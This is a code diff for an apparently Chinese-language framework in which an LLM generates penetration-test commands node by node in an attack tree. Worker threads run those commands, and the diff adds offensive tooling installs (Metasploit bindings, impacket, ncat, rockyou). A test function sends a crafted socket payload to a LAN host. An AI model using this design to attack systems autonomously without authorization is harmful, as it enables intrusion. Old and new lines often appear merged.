self.put_node_instrlist(tmp_commands, llm_node,iadd_node) self.put_node_instrlist(new_commands, llm_node, iadd_node)
self.doing_llm_list[th_index] = ""
#一个节点完成,节点树持久化---待验证是否有局部更新持久化的方案 #一个节点完成,节点树持久化---待验证是否有局部更新持久化的方案
g_PKM.WriteData(self.attack_tree,str(self.task_id)) g_PKM.WriteData(self.attack_tree,str(self.task_id))
#推送前端刷新数据
if self.taskM.web_cur_task == self.task_id: # 如果新增了节点,且该节点树是当前查看的数据,需要通知前端更新数据
idatatype = 2
strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata))
# 先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
#self.taskM.web_cur_task = 0
except queue.Empty: except queue.Empty:
#self.logger.debug("llm队列中暂时无新的提交任务!") if bnode_work:
bnode_work = False
self.no_work_to_do() # 判断是否需要把当前任务的无工作状态推送到前端
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
else: else:
time.sleep(self.sleep_time) time.sleep(self.sleep_time)
def had_work_to_do(self): #任务单步状态控制 -- 置工作中 --约束:只有任务单步会调用
bsuccess = False
with self.is_had_work_lock:
if not self.is_had_work:
bsuccess = True # 这不return 是怕不释放锁
self.is_had_work = True
return bsuccess
def no_work_to_do(self): #任务单步状态控制-- 非工作中
# 待执行instr-node
instr_node_list = list(self.instr_node_queue.queue) # 待执行指令的node--线程不安全
llm_node_list = list(self.llm_node_queue.queue) # 待提交llm的node--线程不安全
if len(instr_node_list) == 0 and len(llm_node_list) == 0: #没有待办节点了
for str_instr in self.doing_instr_list:
if str_instr != "":
return
for str_llm in self.doing_llm_list:
if str_llm != "":
return
#没有在执行任务了
#推送是否有工作任务的状态到前端,
with self.is_had_work_lock:
if self.is_had_work: #如果已经是False那就不需要修改了
#推送到前端
if self.task_id == self.taskM.web_cur_task:
#把是否有任务在执行的状态推送到前端
idatatype = 3
strdata = "单步任务执行完成!"
asyncio.run(g_WSM.send_data(idatatype, strdata))
self.is_had_work = False
#自检线程 --1.输出执行状态。2.需要自检和修复 #自检线程 --1.输出执行状态。2.需要自检和修复
def th_check(self): def th_check(self):
icount = 0
while self.brun: while self.brun:
try: try:
cur_time = get_local_timestr() cur_time = get_local_timestr()
print(f"-----------当前时间程序运行情况:{cur_time}") print(f"----------{self.task_id}-当前时间程序运行情况:{cur_time}")
# #待执行instr-node
# instr_node_list = list(self.instr_node_queue.queue) #待执行指令的node--线程不安全
# print(f"**当前待执行指令node的数量为:{len(instr_node_list)}")
#执行中instr-node #执行中instr-node
index = 0 index = 0
for w_th in self.workth_list: for w_th in self.workth_list:
if not w_th.is_alive():#线程 if not w_th.is_alive():#线程
print(f"线程-{index}已处于异常状态,需要重新创建一个工作线程") print(f"Work线程-{index}已处于异常状态,需要重新创建一个工作线程")
else: else:
print(f"线程-{index}在执行指令:{self.doing_instr_list[index]}") if self.doing_instr_list[index]:
print(f"Work线程-{index}-在执行指令:{self.doing_instr_list[index]}")
index += 1 index += 1
index = 0 index = 0
@ -224,11 +309,14 @@ class TaskObject:
if not l_th.is_alive(): if not l_th.is_alive():
print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程") print(f"LLM线程-{index}已处于异常状态,需要重新创建一个LLM线程")
else: else:
print(f"LLM线程-{index}在执行指令:{self.doing_llm_list[index]}") if self.doing_llm_list[index]:
print(f"LLM线程-{index}-在执行指令:{self.doing_llm_list[index]}")
index += 1 index += 1
#待提交llm-node #处理点修复操作
# llm_node_list = list(self.llm_node_queue.queue) #待提交llm的node--线程不安全 icount +=1
# print(f"**当前待提交llm的node的数量为:{len(llm_node_list)}") if icount == 5:
pass
#休眠60 #休眠60
time.sleep(60) time.sleep(60)
except Exception as e: except Exception as e:
@ -292,35 +380,52 @@ class TaskObject:
break break
return find_node return find_node
def replace_error_instr(self,command):
command = command.replace("| |","||")
command = command.replace("& &","&&")
return command
def put_node_instrlist(self, commands, node,iadd_node): #如果当前节点没有进一般指令返回,需要修改节点执行状态 def put_node_instrlist(self, commands, node,iadd_node): #如果当前节点没有进一般指令返回,需要修改节点执行状态
node_list = [] #一次返回的测试指令 if not node:
return
node_list = [] #有待办指令的节点
for command in commands: for command in commands:
command = self.replace_error_instr(command)
# 使用正则匹配方括号中的node_path(非贪婪模式) # 使用正则匹配方括号中的node_path(非贪婪模式)
match = re.search(r'\[(.*?)\]', command) match = re.search(r'\[(.*?)\]', command)
if match: if match:
node_path = match.group(1) node_path = match.group(1)
node_name = node_path.split("->")[-1]
instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL) instruction = re.sub(r'\[.*?\]', "", command, count=1, flags=re.DOTALL)
#'''强制约束,不是本节点或者是子节点的指令不处理''' #'''强制约束,不是本节点或者是子节点的指令不处理'''
find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands) find_node = None
if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加 if node_name == node.name:
node_name = node_path.split("->")[-1] find_node = node
find_node = self.find_node_by_child_node_name(node,node_name) else:
for child_node in node.children: #暂时只找一层
if node_name == child_node.name:
find_node = child_node
break
# find_node = self.attack_tree.find_node_by_nodepath_parent(node_path,node,iadd_node,commands)
# if not find_node:#对于没有基于节点路径找到对应节点--增加通过节点名称匹配的机制 2025-4-13日添加
# find_node = self.find_node_by_child_node_name(node, node_name) # 递归找子节点
if find_node: if find_node:
find_node.add_instr(instruction) find_node.add_instr(instruction,node.parent_messages,node.cur_messages) #2025-4-23调整为第一添加指令时传递Msg
#DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正 #DS-llm存在返回指令还会修改节点状态为已完成的问题,需要修正
find_node.status = "未完成" find_node.status = "未完成"
if find_node not in node_list: if find_node not in node_list:
node_list.append(find_node) node_list.append(find_node)
self.update_node_work_status(find_node,1) #待执行 self.update_node_work_status(find_node,1) #待执行指令
else:#如果还没找到就暂时放弃 else:#如果还没找到就暂时放弃
self.logger.error(f"基于节点路径没有找到对应的节点{node_path},父节点都没找到!当前节点{node.path}")#丢弃该指令 self.logger.error(f"没有找到指令对应的节点{node_path},当前节点{node.path}")#丢弃该指令
else: else:
self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令--- self.logger.error(f"得到的指令格式不符合规范:{command}")#丢弃该指令---
#这里对于丢弃指令,有几种方案: #这里对于丢弃指令,有几种方案:
# 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案 # 1.直接丢弃不处理,但需要考虑会不会产生节点缺失指令的问题,需要有机制验证节点;------ 需要有个独立线程,节点要加锁--首选待改进方案
# 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定; # 2.入当前节点的res_queue,但有可能当前节点没有其他指令,不会触发提交,另外就算提交,会不会产生预设范围外的返回,不确定;
# 3.独立队列处理 # 3.独立队列处理
#判断当前节点是否有指令 #判断当前节点是否有指令
if node not in node_list: if node not in node_list:
#修改该节点状态为0--无待执行任务 #修改该节点状态为0--无待执行任务
@ -353,6 +458,9 @@ class TaskObject:
async def put_one_node(self,node): async def put_one_node(self,node):
#提交某个节点的代表任务 #提交某个节点的代表任务
if self.task_status ==1 and self.work_type==0 and node.bwork: if self.task_status ==1 and self.work_type==0 and node.bwork:
# node_status = node.get_work_status()
# if node_status == 2 or node_status == 4:
# return False,"当前节点正在执行任务,请稍后点击单步!"
if not node.is_instr_empty(): #待执行指令有值 if not node.is_instr_empty(): #待执行指令有值
if not node.is_llm_empty(): if not node.is_llm_empty():
self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!") self.logger.error(f"{node.path}即存在待执行指令,还存在待提交的llm,需要人工介入!!")
@ -377,10 +485,14 @@ class TaskObject:
#web端提交任务单步--任务单步 #web端提交任务单步--任务单步
async def put_one_task(self): async def put_one_task(self):
if self.task_status == 1 and self.work_type == 0: if self.task_status == 1 and self.work_type == 0:
bsuccess = self.had_work_to_do()
if bsuccess:
nodes = self.attack_tree.traverse_bfs() nodes = self.attack_tree.traverse_bfs()
for node in nodes: for node in nodes:
await self.put_one_node(node) _,_ = await self.put_one_node(node)
return True,"已提交单步任务" return True,"已提交单步任务"
else:
return False,"当前任务正在执行任务中,不需要提交单步任务!"
else: else:
return False,"当前的任务状态不允许执行单步,请检查!" return False,"当前的任务状态不允许执行单步,请检查!"
@ -389,7 +501,7 @@ class TaskObject:
#更新状态 #更新状态
bchange = node.update_work_status(work_status) bchange = node.update_work_status(work_status)
#基于websocket推送到前端 #基于websocket推送到前端
if bchange: if bchange and work_status != 1: #llm执行完成后会发送单独的指令更新树,所以不发送1更新节点了
#判断是否是web端最新获取数据的task #判断是否是web端最新获取数据的task
if self.taskM.web_cur_task == self.task_id: if self.taskM.web_cur_task == self.task_id:
idatatype = 1 idatatype = 1
@ -407,7 +519,7 @@ class TaskObject:
# 构造本次提交的prompt # 构造本次提交的prompt
ext_Prompt = f''' ext_Prompt = f'''
上一步结果{str_res} 上一步结果{str_res}
任务生成下一步渗透测试指令或判断是否完成该节点测试 任务生成下一步指令
''' '''
elif llm_type == 2: # llm返回的指令存在问题,需要再次请求返回 elif llm_type == 2: # llm返回的指令存在问题,需要再次请求返回
ext_Prompt = f''' ext_Prompt = f'''
@ -424,6 +536,12 @@ class TaskObject:
反馈类型测试指令格式错误 反馈类型测试指令格式错误
错误信息{str_res} 错误信息{str_res}
任务请根据格式要求重新生成该测试指令 任务请根据格式要求重新生成该测试指令
'''
elif llm_type == 10:
max_do_sn = myCongif.get_data("max_do_sn")
ext_Prompt = f'''
上一步结果{str_res}
任务当前节点已执行超过{max_do_sn}次测试指令若无新发现请结束该节点的测试若有新发现请生成子节点在子节点推进下一步测试
''' '''
else: else:
self.logger.debug("意外的类型参数") self.logger.debug("意外的类型参数")
@ -433,17 +551,15 @@ class TaskObject:
return user_Prompt return user_Prompt
#添加子节点 #添加子节点
def add_children_node(self,parent_node,children_names,cur_node,status="未完成"): def add_children_node(self,parent_node,children_names,cur_message=None,status="未完成"):
for child_name in children_names: existing_names = {node.name for node in parent_node.children} # 现有子节点名称集合
bfind = False unique_names = list(set(children_names)) # 去重
for node_child in parent_node.children: for child_name in unique_names:
if node_child.name == child_name: if child_name not in existing_names:
bfind = True #有重复的了
break
if not bfind:
# 添加节点 # 添加节点
new_node = TreeNode(child_name, parent_node.task_id, status) new_node = TreeNode(child_name, parent_node.task_id, status)
parent_node.add_child(new_node,cur_node.messages) # message的传递待验证 parent_node.add_child(new_node)
#existing_names.add(child_name) # 更新集合 -- 已经去重过了,不需要在添加到比对
#处理节点指令 #处理节点指令
def tree_manager(self,node_cmds,node,commands,DBM): def tree_manager(self,node_cmds,node,commands,DBM):
@ -460,14 +576,47 @@ class TaskObject:
# 提交llm待处理任务 # 提交llm待处理任务
self.put_node_reslist(node, strerror, 2) self.put_node_reslist(node, strerror, 2)
return False,commands,0 return False,commands,0
#message_调整传递时机后,可以先执行添加节点
# #对节点数据进行初步验证
# ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
# if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
# self.add_children_node(node,no_add_nodes,node)
# #ad_instr_nodes --- 还没处理
residue_cmd_no_add = []
add_node_names = []
for node_json in node_cmds:
action = node_json["action"]
if action == "add_node": # 新增节点
parent_node_name = node_json["parent"]
# status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status
add_node_names = node_json["nodes"].replace('', ',').split(',')
# 新增节点原则上应该都是当前节点增加子节点
if node.name == parent_node_name or parent_node_name.endswith(node.name): # 2233ai,节点名称字段会返回整个路径
# 添加当前节点的子节点 -- 这是标准情况
self.add_children_node(node, add_node_names)
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name): # 添加当前节点的平级节点
# 是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
self.add_children_node(node.parent, add_node_names)
else:
badd = False
for child_node in node.children: # 给子节点添加子节点
if parent_node_name == child_node.name or parent_node_name.endswith(child_node.name):
badd = True
self.add_children_node(child_node, add_node_names)
break
if not badd:
self.logger.error(f"添加子节点失败!父节点不是当前节点,不是当前节点的父节点,不是当前节点的子节点,需要介入!!{node_json}---当前节点为:{node.path}") # 丢弃该节点
else: # 未处理的节点指令添加到list
residue_cmd_no_add.append(node_json)
#处理on_instruction
residue_node_cmds = [] residue_node_cmds = []
no_instr_nodes = [] no_instr_nodes = []
#如果有on_instruction,先补全指令保障信息链的完整 for node_cmd in residue_cmd_no_add:
for node_cmd in node_cmds:
action = node_cmd["action"] action = node_cmd["action"]
if action == "no_instruction": if action == "no_instruction":
node_names = node_cmd["nodes"].split(',') node_names = node_cmd["nodes"].replace('',',').split(',')
for node_name in node_names: for node_name in node_names:
# 先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回 # 先判断是否在测试指令中,若在则不提交llm任务,只能接受在一次返回中同一节点有多条测试指令,不允许分次返回
bcommand = False bcommand = False
@ -477,58 +626,22 @@ class TaskObject:
break break
if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction if bcommand: # 如果存在测试指令,则不把该节点放入补充信息llm任务---尝试不对比是否有返回指令,DS会一直返回指令,还返回on_instruction
continue continue
#判断是否有对应节点---原则上只允许同批次add的节点没有添加指令的情况
if node_name in add_node_names:
no_instr_nodes.append(node_name)
else:
self.logger.error("遇到一次不在add_node中,但在no_instr_nodes中的数据")
#粗暴的做法,添加在当前节点下
self.add_children_node(node, [node_name])
no_instr_nodes.append(node_name) no_instr_nodes.append(node_name)
else:#剩余的节点指令 else:#剩余的节点指令
residue_node_cmds.append(node_cmd) residue_node_cmds.append(node_cmd)
if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token if no_instr_nodes: # 阻塞式,在当前节点提交补充信息,完善节点指令 -- 优势是省token
new_commands = self.get_other_instruction(no_instr_nodes, DBM, node) new_commands = self.get_other_instruction(no_instr_nodes, DBM, node)
commands.extend(new_commands) commands.extend(new_commands)
# #对节点数据进行初步验证
# ad_instr_nodes, no_add_nodes = g_CV.verify_node_data(node_cmds)
# if no_add_nodes:#如果有没有添加的节点,默认在当前节点下添加 -- 一般不会有,还没遇到
# self.add_children_node(node,no_add_nodes,node)
# #ad_instr_nodes --- 还没处理
#先执行add_node操作---2025-4-12-调整:message取当前节点,节点允许为子节点添加子节点
iadd_node = 0
residue_cmd_sno_add_= []
for node_json in residue_node_cmds:
action = node_json["action"]
if action == "add_node": # 新增节点
parent_node_name = node_json["parent"]
status = "未完成" #2025-4-11修改MGS-节点指令格式,取消了status
node_names = node_json["nodes"].split(',')
# 新增节点原则上应该都是当前节点增加子节点
if node.name == parent_node_name or parent_node_name.endswith(node.name): #2233ai,节点名称字段会返回整个路径
#添加当前节点的子节点 -- 这是标准情况
self.add_children_node(node, node_names,node)
iadd_node += len(node_names) # 添加节点的数量---当前只记录给当前节点添加的子节点的数量
elif node.parent.name == parent_node_name or parent_node_name.endswith(node.parent.name):#添加当前节点的平级节点
#是添加当前节点的平级节点(当前节点的父节点下添加子节点) --使用2233ai-o3时遇到的情况
self.add_children_node(node.parent,node_names,node)
else:
badd = False
for child_node in node.children:#给子节点添加子节点
if parent_node_name == child_node.name or parent_node_name.endswith(child_node.name):
badd = True
self.add_children_node(child_node,node_names,node)
break
if not badd:
self.logger.error(f"添加子节点时,遇到父节点名称没有找到的,需要介入!!{node_json}") # 丢弃该节点
else:#未处理的节点指令添加到list
residue_cmd_sno_add_.append(node_json)
if iadd_node and self.taskM.web_cur_task == self.task_id: #如果新增了节点,且该节点树是当前查看的数据,需要通知前端更新数据
idatatype = 2
strdata = "update accack_tree!"
asyncio.run(g_WSM.send_data(idatatype, strdata))
#先取消当前task,已经通知前端重新获取,这样可以避免后端不必要的数据推送
self.taskM.web_cur_task = 0
#执行剩余的节点指令--不分先后 #执行剩余的节点指令--不分先后
for node_json in residue_cmd_sno_add_:#2025-4-11重新调整了节点指令格式定义 for node_json in residue_node_cmds:#2025-4-11重新调整了节点指令格式定义
action = node_json["action"] action = node_json["action"]
if action == "find_vul": if action == "find_vul":
node_name = node_json["node"] node_name = node_json["node"]
@ -552,31 +665,24 @@ class TaskObject:
self.logger.error("漏洞信息错误") self.logger.error("漏洞信息错误")
continue continue
else: else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}" str_user = f"遇到不是本节点和子节点漏洞的,需要介入!!{node_json}--当前节点{node.path}"
self.logger.error(str_user) self.logger.error(str_user)
elif action == "end_work": elif action == "end_work":
node_name = node_json["node"] node_name = node_json["node"]
if node.name == node_name or node_name.endswith(node_name): # 正常应该是当前节点 if node.name == node_name or node_name.endswith(node_name): # 正常应该是当前节点
node.status = "已完成" node.status = "已完成"
else: else:
str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}" str_user = f"遇到不是修改本节点状态的,需要介入!!{node_json}--当前节点{node.path}"
self.logger.error(str_user) self.logger.error(str_user)
elif action == "no_create": #提交人工确认
nodes = node_json["nodes"]
if nodes:
str_add = {"未新增的节点": nodes}
self.logger.debug(str_add)
# 提交一个继续反馈任务--继续后续工作 2025-3-25不自动处理
# self.put_one_llm_work(str_add, node, 4)
# self.logger.debug(f"未新增的节点有:{nodes}")
else: else:
self.logger.error("****不应该执行到这!程序逻辑存在问题!") self.logger.error("****不应该执行到这!程序逻辑存在问题!")
return True,commands,iadd_node return True,commands,len(add_node_names)
#阻塞轮询补充指令 #阻塞轮询补充指令
def get_other_instruction(self,nodes,DBM,cur_node): def get_other_instruction(self,nodes,DBM,cur_node):
res_str = ','.join(nodes) res_str = ','.join(nodes)
new_commands = [] new_commands = []
ierror = 0
while res_str: while res_str:
self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令") self.logger.debug(f"开始针对f{res_str}这些节点请求测试指令")
user_Prompt = f''' user_Prompt = f'''
@ -591,12 +697,19 @@ class TaskObject:
2.这些节点的父节点为当前节点请正确生成这些节点的节点路径 2.这些节点的父节点为当前节点请正确生成这些节点的节点路径
3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表 3.只有当还有节点未能生成测试指令或不完整时才返回未生成指令的节点列表
''' '''
fake_prompt = self.DataFilter.filter_prompt(user_Prompt)
bsuccess,node_cmds, commands, reasoning_content, content = self.LLM.get_llm_instruction(fake_prompt,
cur_node,self.DataFilter) # message要更新
if not bsuccess:
self.logger.error(f"模型接口调用出错:{content}")
ierror += 1
if ierror == 3: #重试3词
break
continue# res_str没有调整,重复使用
res_str = "" res_str = ""
#node_cmds, commands = self.LLM.get_llm_instruction(user_Prompt, DBM, cur_node) # message要更新
node_cmds, commands, reasoning_content, content, post_time = self.LLM.get_llm_instruction(user_Prompt,
cur_node) # message要更新
# LLM记录存数据库 # LLM记录存数据库
cur_node.llm_sn += 1 cur_node.llm_sn += 1
post_time = get_local_timestr()
bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path) bres = DBM.insert_llm(self.task_id, user_Prompt, reasoning_content, content, post_time, cur_node.llm_sn,cur_node.path)
if not bres: if not bres:
self.logger.error(f"{cur_node.name}-llm入库失败!") self.logger.error(f"{cur_node.name}-llm入库失败!")
@ -606,65 +719,110 @@ class TaskObject:
for node_json in node_cmds: #正常应该只有一条no_instruction --暂时只处理 for node_json in node_cmds: #正常应该只有一条no_instruction --暂时只处理
if "no_instruction" in node_json and "nodes" in node_json: if "no_instruction" in node_json and "nodes" in node_json:
tmp_nodes = [] tmp_nodes = []
node_names = node_json["nodes"].split(',') node_names = node_json["nodes"].replace('',',').split(',')
for node_name in node_names: for node_name in node_names:
if node_name in nodes: if node_name in nodes:
tmp_nodes.append(node_name) tmp_nodes.append(node_name)
res_str = ','.join(tmp_nodes) res_str = ','.join(tmp_nodes)
break break
else:#其他节点指令不处理
self.logger.error(f"遇到一次no_instruction补充指令时返回了其他节点指令{node_cmds}")
self.logger.debug("未添加指令的节点,都已完成指令的添加!") self.logger.debug("未添加指令的节点,都已完成指令的添加!")
return new_commands return new_commands
def start_task(self,task_id,task_status=1,attack_tree=None): #-----------------任务的启停--------------------
def init_task(self,task_id,attack_tree = None):
self.task_id = task_id self.task_id = task_id
''' # 初始化节点树
启动该测试任务 if attack_tree: # 有值的情况是load
''' self.attack_tree = attack_tree
#判断目标合法性 # 加载未完成的任务
# bok,target,type = self.TargetM.validate_and_extract(self.target) #是否还需要判断待定? if self.work_type == 1: # 自动模式
# if not bok: # 提交到mq,待线程执行
# return False, "{target}检测目标不合规,请检查!"
#初始化节点树
if attack_tree:#有值的情况是load
self.attack_tree =attack_tree
#加载未完成的任务
if self.work_type ==1:#自动模式
#提交到mq,待线程执行
self.put_work_node() self.put_work_node()
else: #无值的情况是new_create else: # 无值的情况是new_create
root_node = TreeNode(self.target, self.task_id) #根节点 root_node = TreeNode(self.target, self.task_id) # 根节点
self.attack_tree = AttackTree(root_node) #创建测试树,同时更新根节点相关内容 self.attack_tree = AttackTree(root_node) # 创建测试树,同时更新根节点相关内容
self.LLM.build_initial_prompt(root_node) #对根节点初始化system-msg self.LLM.build_initial_prompt(root_node) # 对根节点初始化system-msg
#插入一个user消息 # 插入一个user消息
# 提交第一个llm任务,开始工作 # 提交第一个llm任务,开始工作
know_info = f"本测试主机的IP地址为:{self.local_ip}" know_info = f"本测试主机的IP地址为:{self.local_ip}"
if self.cookie: self.put_node_reslist(root_node, know_info, 0) # 入待提交list
know_info = know_info + f",本站点的cookie值为{self.cookie}" # 初始保存个attack_tree文件
self.put_node_reslist(root_node,know_info,0) #入待提交list g_PKM.WriteData(self.attack_tree, str(self.task_id))
#初始保存个attack_tree文件
g_PKM.WriteData(self.attack_tree,str(self.task_id)) def is_task_stop(self):
#启动工作线程 #检查任务是否处于停止状态--防止停止后,线程还没停,又启动工作线程,造成混乱
self.task_status = task_status #工作线程
for work_th in self.workth_list:
if work_th:
if work_th.is_alive():
self.logger.debug(f"{self.task_id}有存活工作线程")
return False
#llm线程
for llm_th in self.llmth_list:
if llm_th:
if llm_th.is_alive():
self.logger.debug(f"{self.task_id}有存活LLM线程")
return False
#自检线程
if self.check_th:
if self.check_th.is_alive():
self.logger.debug(f"{self.task_id}有存活自检线程")
return False
#工作子进程池
if self.PythonM.is_pool_active():
self.logger.debug(f"{self.task_id}有存活子进程池")
return False
return True
def update_task_work_type(self,new_work_type):
self.work_type = new_work_type
#更新数据库
app_DBM.update_task_work_type(self.task_id,new_work_type)
def update_task_status(self,new_status):
self.task_status = new_status
#更新数据库
app_DBM.update_task_status(self.task_id,new_status)
def start_task(self):
'''
启动该测试任务
:return bool str
'''
if self.is_task_stop():
#更新状态标识
self.update_task_status(1)
self.brun = True #线程正常启动 self.brun = True #线程正常启动
#启动指令工作线程 #启动指令工作线程
for i in range(self.max_thread_num): for i in range(self.max_thread_num):
w_th = threading.Thread(target=self.do_worker_th,args=(i,)) w_th = threading.Thread(target=self.do_worker_th,args=(i,),name=f"{self.task_id}-w_th-{i}")
w_th.start() w_th.start()
self.workth_list[i] = w_th self.workth_list[i] = w_th
#启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁 #启动llm提交线程--llm暂时单线程,多线程处理时attack_tree需要加锁
for j in range(self.llm_max_nums): for j in range(self.llm_max_nums):
l_th = threading.Thread(target=self.th_llm_worker,args=(j,)) l_th = threading.Thread(target=self.th_llm_worker,args=(j,),name=f"{self.task_id}-l_th-{i}")
l_th.start() l_th.start()
self.llmth_list[j]=l_th self.llmth_list[j]=l_th
#启动自检线程 #启动自检线程
self.check_th = threading.Thread(target=self.th_check) self.check_th = threading.Thread(target=self.th_check)
self.check_th.start() self.check_th.start()
#启动python子进程池 --进程池的启动,目前是没全面确认原子进程池的状态,直接None
self.PythonM.start_pool()
return True,"启动任务成功!" #就算启动了一部分线程,也要认为是成功
else:
return False,"该任务的工作线程未全面停止,不能重新启动工作,请稍后,若半个小时候还不能启动,请联系技术支持!"
def stop_task(self): #还未处理 def stop_task(self): #还未处理
if self.brun and self.task_status ==1: #不是正常工作状态就不执行停止工作了
#停止子进程池
self.PythonM.shutdown_pool()
#停止线程
self.brun = False self.brun = False
self.InstrM.init_data() self.update_task_status(0)
#结束任务需要收尾处理#? # 结束任务需要收尾处理#?
self.InstrM.init_data() #pass
if __name__ == "__main__": if __name__ == "__main__":
pass pass

9
mycode/WebSocketManager.py

@ -1,10 +1,13 @@
import json import json
import struct import struct
import asyncio
from quart import websocket from quart import websocket
class WebSocketManager: class WebSocketManager:
def __init__(self): def __init__(self):
self.ws_clients={} self.ws_clients={}
self.ineed_send = 0
self.idone_send = 0
async def register(self, user_id, ws_proxy): async def register(self, user_id, ws_proxy):
ws = ws_proxy._get_current_object() # 获取代理背后的真实对象 ws = ws_proxy._get_current_object() # 获取代理背后的真实对象
@ -41,9 +44,15 @@ class WebSocketManager:
header = b"TFTF" + struct.pack("!II", idatatype, idata_len) header = b"TFTF" + struct.pack("!II", idatatype, idata_len)
message = header + body message = header + body
try: try:
# self.ineed_send +=1
# print(f"第{self.ineed_send}次开始发送数据-{idatatype}")
await ws.send(message) await ws.send(message)
await asyncio.sleep(0)
# await ws.ping()
except Exception as e: except Exception as e:
print(f"发送失败: {e}") print(f"发送失败: {e}")
await self.unregister(user_id) # 异常时自动注销连接 await self.unregister(user_id) # 异常时自动注销连接
# self.idone_send += 1
# print(f"WS-成功发送{self.idone_send}次数据-{idatatype}")
g_WSM = WebSocketManager() g_WSM = WebSocketManager()

39
pipfile

@ -1,29 +1,36 @@
# -i https://pypi.tuna.tsinghua.edu.cn/simple/ # -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install openai pip install openai -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install mysql-connector-python pip install mysql-connector-python -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pymysql pip install pymysql -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pysmb -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install msgpack -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pymetasploit3 -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install cryptography -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install loguru -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install paramiko -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install beautifulsoup4 -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install cryptography -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install pexpect -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install smbprotocol -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sublist3r apt install sublist3r
apt install gobuster apt install gobuster
apt install jq apt install jq
#smuggler apt install libpq-dev python3-dev
git clone https://github.com/defparam/smuggler.git apt install sshpass
pip install beautifulsoup4 sudo apt install ncat
pip install cryptography
pip install loguru -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install paramiko -i https://pypi.tuna.tsinghua.edu.cn/simple/
pip install impacket -i https://pypi.tuna.tsinghua.edu.cn/simple/
sudo apt-get install libpq-dev python3-dev #smuggler
pip install psycopg2 -i https://pypi.tuna.tsinghua.edu.cn/simple/ git clone https://github.com/defparam/smuggler.git
cd /usr/share/wordlists/ cd /usr/share/wordlists/
gzip -d rockyou.txt.gz gzip -d rockyou.txt.gz
pip install dirsearch -i https://pypi.tuna.tsinghua.edu.cn/simple/
apt install sshpass
#----gittools---- #----gittools----
# 克隆 GitTools 仓库 # 克隆 GitTools 仓库
git clone https://github.com/internetwache/GitTools.git git clone https://github.com/internetwache/GitTools.git

6
run.py

@ -11,6 +11,12 @@ async def run_quart_app():
config.bind = ["0.0.0.0:5001"] config.bind = ["0.0.0.0:5001"]
config.use_reloader = True # 启用热重载 config.use_reloader = True # 启用热重载
config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件 config.reload_include_patterns = ["*.py", "templates/*", "static/*"] # 监控模板和静态文件
# Enable HTTPS
# config.certfile = "cert.pem" # Path to your certificate file
# config.keyfile = "key.pem" # Path to your private key file
# config.alpn_protocols = ["http/1.1"]
await serve(app, config) await serve(app, config)

168
test.py

@ -14,8 +14,10 @@ from mycode.InstructionManager import g_instrM
from mycode.TaskManager import g_TaskM from mycode.TaskManager import g_TaskM
from mycode.PythonTManager import PythonTManager from mycode.PythonTManager import PythonTManager
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
from mycode.DBManager import app_DBM
import textwrap import textwrap
class Mytest: class Mytest:
def update_node_inter(self,attack_index): def update_node_inter(self,attack_index):
attack_tree = g_PKM.ReadData(attack_index) attack_tree = g_PKM.ReadData(attack_index)
@ -32,109 +34,133 @@ class Mytest:
g_PKM.WriteData(attack_tree, attack_index) g_PKM.WriteData(attack_tree, attack_index)
def dynamic_fun(self):
import socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(20) # 增加超时时间
s.connect(("192.168.3.105", 52989))
# 基于返回的 "99 -1 45973" 字符串构造特殊payload
special_cmd = b'99\\x01\\x00\\x00\\x00' # 模拟协议头
s.sendall(special_cmd)
response = s.recv(2048)
s.close()
return (True, f"SpecialCmd Response: {response.hex()}")
except Exception as e:
return (False, str(e))
